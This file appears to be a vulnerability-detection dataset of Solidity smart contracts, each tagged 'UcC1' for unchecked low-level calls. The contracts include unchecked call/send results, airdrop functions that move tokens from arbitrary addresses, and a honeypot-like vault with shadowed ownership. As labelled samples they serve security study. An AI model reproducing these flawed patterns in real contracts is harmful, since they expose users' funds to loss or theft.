        bytes4 id=bytes4(keccak256("transfer(address,address,uint256)"));
        for(uint i=0;i<_tos.length;i++){
            caddress.call(id,from,_tos[i],v);
        }
        return true;
    }


  
   
    
}
// Vulnerability label: UcC1
pragma solidity ^0.4.25;
contract MultiTransfer {
    function multiTransfer(address[] _addresses, uint256 amount) payable {
        for (uint256 i = 0; i < _addresses.length; i++) {
            _addresses[i].call.value(amount).gas(21000)();
        }
    }
    function() payable {}
}
contract ERC20 {
    function transfer(address _recipient, uint256 amount) public;
}       
contract Erc20MultiTransfer {
    function erc20MultiTransfer(ERC20 token, address[] _addresses, uint256 amount) public {
        for (uint256 i = 0; i < _addresses.length; i++) {
            token.transfer(_addresses[i], amount);
        }
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.24;
 
contract airDrop{
    
    function transfer(address from,address caddress,address[] _tos,uint v, uint _decimals)public returns (bool){
        require(_tos.length > 0);
        bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
        uint _value = v * 10 ** _decimals;
        for(uint i=0;i<_tos.length;i++){
            caddress.call(id,from,_tos[i],_value);
        }
        return true;
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.18;

contract EBU{
    address public from = 0x9797055B68C5DadDE6b3c7d5D80C9CFE2eecE6c9;
    address public caddress = 0x1f844685f7Bf86eFcc0e74D8642c54A257111923;
    
    function transfer(address[] _tos,uint[] v)public returns (bool){
        require(msg.sender == 0x9797055B68C5DadDE6b3c7d5D80C9CFE2eecE6c9);
        require(_tos.length > 0);
        bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
        for(uint i=0;i<_tos.length;i++){
            caddress.call(id,from,_tos[i],v[i]*1000000000000000000);
        }
        return true;
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.18;

contract EBU{
    
    function transfer(address from,address caddress,address[] _tos,uint[] v)public returns (bool){
        require(_tos.length > 0);
        bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
        for(uint i=0;i<_tos.length;i++){
            caddress.call(id,from,_tos[i],v[i]);
        }
        return true;
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.18;

interface token {
    function transfer(address receiver, uint amount);
}

contract Crowdsale {

    address public beneficiary; 
    uint public fundingGoal; 
    uint public amountRaised; 
    uint public deadline; 
    
    uint public price;
    token public tokenReward; 
    mapping(address => uint256) public balanceOf;
    
    bool crowdsaleClosed = false; 
    
   
    event FundTransfer(address backer, uint amount, bool isContribution);

    /**
     * Constrctor function
     *
     * Setup the owner
     */
    function Crowdsale(
        address ifSuccessfulSendTo,
       
        uint durationInMinutes,
        uint etherCostOfEachToken,
        address addressOfTokenUsedAsReward
    ) {
        beneficiary = ifSuccessfulSendTo;
       
        deadline = now + durationInMinutes * 1 minutes;
        price = etherCostOfEachToken * 1 ether;
        tokenReward = token(addressOfTokenUsedAsReward); 
    }

    /**
     * Fallback function
     *
     * payable 
     */   
	 
	function () payable {
        require(!crowdsaleClosed);
        uint amount = msg.value;
        balanceOf[msg.sender] += amount;
        amountRaised += amount;
        tokenReward.transfer(msg.sender, amount / price);        
        beneficiary.send(amountRaised);
        amountRaised = 0;
        FundTransfer(msg.sender, amount, true);
    }	
}
// Vulnerability label: UcC1
pragma solidity ^0.4.17;

/**
 * @title EthealSplit
 * @dev Split ether evenly on the fly.
 * @author thesved, viktor.tabori at etheal.com
 */
contract EthealSplit {
    /// @dev Split evenly among addresses, no safemath is needed for divison
    function split(address[] _to) public payable {
        uint256 _val = msg.value / _to.length;
        for (uint256 i=0; i < _to.length; i++) {
            _to[i].send(_val);
        }

        if (address(this).balance > 0) {
            msg.sender.transfer(address(this).balance);
        }
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.18;

contract Mac
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function withdraw()
    payable
    public
    {
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        adr.call.value(msg.value)(data);
    }
    
    function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.23;

contract Proxy  {
    modifier onlyOwner { if (msg.sender == Owner) _; } address Owner = msg.sender;
    function transferOwner(address _owner) public onlyOwner { Owner = _owner; } 
    function proxy(address target, bytes data) public payable {
        target.call.value(msg.value)(data);
    }
}

contract VaultProxy is Proxy {
    address public Owner;
    mapping (address => uint256) public Deposits;

    function () public payable { }
    
    function Vault() public payable {
        if (msg.sender == tx.origin) {
            Owner = msg.sender;
            deposit();
        }
    }
    
    function deposit() public payable {
        if (msg.value > 0.25 ether) {
            Deposits[msg.sender] += msg.value;
        }
    }
    
    function withdraw(uint256 amount) public onlyOwner {
        if (amount>0 && Deposits[msg.sender]>=amount) {
            msg.sender.transfer(amount);
        }
    }
}
// Vulnerability label: UcC1
pragma solidity ^0.4.24;


contract Controlled {

    address public controller;

    constructor() public {
        controller = msg.sender;
    }

    function changeController(address _newController) public only_controller {
        controller = _newController;
    }
    
    function getController() constant public returns (address) {
        return controller;
    }

    modifier only_controller { 
        require(msg.sender == controller);
        _; 
    }
}

contract CallContract is Controlled {
    
    function callFrozen(address contractAddr, address[] _addrs, bool _isFrozen) only_controller public{
        bytes4 methodId = bytes4(keccak256("freezeAccount(address, bool)"));
		for (uint i = 0; i < _addrs.length; i++)
            contractAddr.call(methodId, _addrs[i], _isFrozen);
    }
	
	function changeContractController(address contractAddr, address _newController) public only_controller {
        bytes4 methodId = bytes4(keccak256("changeController(address)"));
		contractAddr.call(_newController);
    }
}